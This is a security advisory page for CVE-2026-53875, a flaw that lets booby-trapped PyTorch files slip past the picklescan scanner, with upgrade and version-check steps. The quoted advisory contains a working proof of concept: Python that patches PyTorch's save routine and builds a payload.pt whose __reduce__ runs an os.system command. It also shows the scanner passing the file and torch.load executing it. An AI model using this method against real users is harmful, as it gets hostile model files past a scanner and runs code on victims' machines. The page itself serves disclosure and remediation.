CVE-2026-53875: Picklescan Picklescan (scan_pytorch) Bypass Vulnerability

HIGH
Advisory Identifier: GHSA-97f8-7cmv-76j2
CWE-184
Published
Advisory Summary

CVE-2026-53875 is a HIGH picklescan (scan_pytorch) bypass vulnerability (CWE-184: Incomplete List of Disallowed Inputs) affecting Picklescan libraries in the PyPI ecosystem. The issue involves picklescan (scan_pytorch) bypass via dynamic eval magic_number. Remediation is available by upgrading affected packages to version 1.0.3.

CVE-2026-53875 at a Glance

CVE Identifier CVE-2026-53875
GHSA Identifier GHSA-97f8-7cmv-76j2
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-184: Incomplete List of Disallowed Inputs
Affected Product Picklescan
Package Ecosystem PyPI
Published Date
Last Updated

How to Fix CVE-2026-53875

To remediate this vulnerability, upgrade all affected Picklescan dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

picklescan fixed: 1.0.3
pip install picklescan>=1.0.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show picklescan

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-53875, inspect your installed packages using pip:

pip show picklescan

Analyze the terminal output to locate any version of Picklescan in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.0.3), your application is affected.

Note: The pip show picklescan command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-184: Incomplete List of Disallowed Inputs, where the product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete. In Picklescan, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary This is a scanning bypass to `scan_pytorch` function in `picklescan`. As we can see in the implementation of [get_magic_number()](https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/torch.py#L76C5-L84) that uses `pickletools.genops(data)` to get the `magic_number` with the condition `opcode.name` includes `INT` or `LONG`, but the PyTorch's implemtation simply uses [pickle_module.load()](https://github.com/pytorch/pytorch/blob/134179474539648ba7dee1317959529fbd0e7f89/torch/serialization.py#L1797) to get this `magic_number`. For this implementation difference, we then can embed the `magic_code` into the `PyTorch` file via dynamic `eval` on the `\_\_reduce\_\_` trick, which can make the `pickletools.genops(data)` cannot get the `magic_code` in `INT` or `LONG` type, but the `pickle_module.load()` can still return the same `magic_code`, eading to a bypass. ### PoC #### Attack Step 1 we can edit the source code of the function [\_legacy\_save()](https://github.com/pytorch/pytorch/blob/134179474539648ba7dee1317959529fbd0e7f89/torch/serialization.py#L1120) as follows: ```Python class payload: def __reduce__(self): return (eval, ('MAGIC_NUMBER',)) pickle_module.dump(payload(), f, protocol=pickle_protocol) ``` #### Attack Step 2 with the modified version of `PyTorch`, we run the following PoC to generate the `payload.pt`: ```Python import torch class payload: def __reduce__(self): return (__import__('os').system, ('touch /tmp/hacked',)) torch.save(payload(), './payload.pt', _use_new_zipfile_serialization = False) ``` #### Picklescan result ``` ERROR: Invalid magic number for file /home/pzhou/bug-bunty/pytorch/PoC/payload.pt: None != 119547037146038801333356 ----------- SCAN SUMMARY ----------- Scanned files: 0 Infected files: 0 Dangerous globals: 0 ``` #### Victim Step ```Python import torch torch.load('./payload.pt', weights_only=False) ``` then you can find the illegal file `/tmp/hacked` created in your local system. ### Impact Craft malicious `PyTorch` payloads to bypass `picklescan`, then recall ACE/RCE.

CVE-2026-53875 Affected Picklescan Versions

1 component(s)
Fixed Versions:
1.0.3
Product / Package Ecosystem Affected Versions Fixed Version
picklescan
PyPI
< 1.0.3
1.0.3

References

Frequently Asked Questions

What is CVE-2026-53875?
CVE-2026-53875 is a security vulnerability in Picklescan involving Picklescan (scan_pytorch) Bypass via dynamic eval MAGIC_NUMBER under CWE-184: Incomplete List of Disallowed Inputs.
Which Picklescan versions are affected?
Affected versions include releases prior to 1.0.3 across affected packages: picklescan.
What version fixes CVE-2026-53875?
Upgrading to 1.0.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is picklescan affected?
Yes, picklescan is affected in releases prior to 1.0.3. Upgrade your dependency to 1.0.3 or later.
What CWE is associated with CVE-2026-53875?
CVE-2026-53875 is classified under CWE-184: Incomplete List of Disallowed Inputs (The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete.).
How can I check PyPI dependencies for CVE-2026-53875?
Run the dependency tree command: 'pip show picklescan'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-97f8-7cmv-76j2",
  "modified" : "2026-06-18T14:43:46Z",
  "published" : "2026-02-18T17:45:52Z",
  "aliases" : [ "CVE-2026-53875" ],
  "summary" : "Picklescan (scan_pytorch) Bypass via dynamic eval MAGIC_NUMBER",
  "details" : "### Summary\nThis is a scanning bypass to `scan_pytorch` function in `picklescan`. As we can see in the implementation of [get_magic_number()](https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/torch.py#L76C5-L84) that uses `pickletools.genops(data)` to get the `magic_number` with the condition `opcode.name` includes `INT` or `LONG`, but the PyTorch's implemtation simply uses [pickle_module.load()](https://github.com/pytorch/pytorch/blob/134179474539648ba7dee1317959529fbd0e7f89/torch/serialization.py#L1797) to get this `magic_number`. For this implementation difference, we then can embed the `magic_code` into the `PyTorch` file via dynamic `eval` on the `\\_\\_reduce\\_\\_` trick, which can make the `pickletools.genops(data)` cannot get the `magic_code` in `INT` or `LONG` type, but the `pickle_module.load()` can still return the same `magic_code`, eading to a bypass.\n\n### PoC\n#### Attack Step 1\nwe can edit the source code of the function [\\_legacy\\_save()](https://github.com/pytorch/pytorch/blob/134179474539648ba7dee1317959529fbd0e7f89/torch/serialization.py#L1120) as follows:\n```Python\n    class payload:\n        def __reduce__(self):\n            return (eval, ('MAGIC_NUMBER',))\n\n    pickle_module.dump(payload(), f, protocol=pickle_protocol)\n```\n#### Attack Step 2\nwith the modified version of `PyTorch`, we run the following PoC to generate the `payload.pt`:\n```Python\nimport torch \n\nclass payload:\n    def __reduce__(self):\n        return (__import__('os').system, ('touch /tmp/hacked',))\n\ntorch.save(payload(), './payload.pt', _use_new_zipfile_serialization = False)\n```\n\n#### Picklescan result\n```\nERROR: Invalid magic number for file /home/pzhou/bug-bunty/pytorch/PoC/payload.pt: None != 119547037146038801333356\n----------- SCAN SUMMARY -----------\nScanned files: 0\nInfected files: 0\nDangerous globals: 0\n```\n\n#### Victim Step\n```Python\nimport torch\ntorch.load('./payload.pt', weights_only=False)\n```\nthen you can find the illegal file `/tmp/hacked` created in your local system.\n\n### Impact\nCraft malicious `PyTorch` payloads to bypass `picklescan`, then recall ACE/RCE.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "picklescan"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.0.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-97f8-7cmv-76j2"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-53875"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mmaitre314/picklescan/commit/134179474539648ba7dee1317959529fbd0e7f89"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mmaitre314/picklescan/commit/2a8383cfeb4158567f9770d86597300c9e508d0f"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mmaitre314/picklescan/commit/b9997634683a4f4bd0c7e3701e7ce7e90fe70e8c"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/mmaitre314/picklescan"
  }, {
    "type" : "WEB",
    "url" : "https://www.vulncheck.com/advisories/picklescan-scanning-bypass-via-dynamic-eval-in-scan-pytorch"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-184" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-18T17:45:52Z",
    "nvd_published_at" : null
  }
}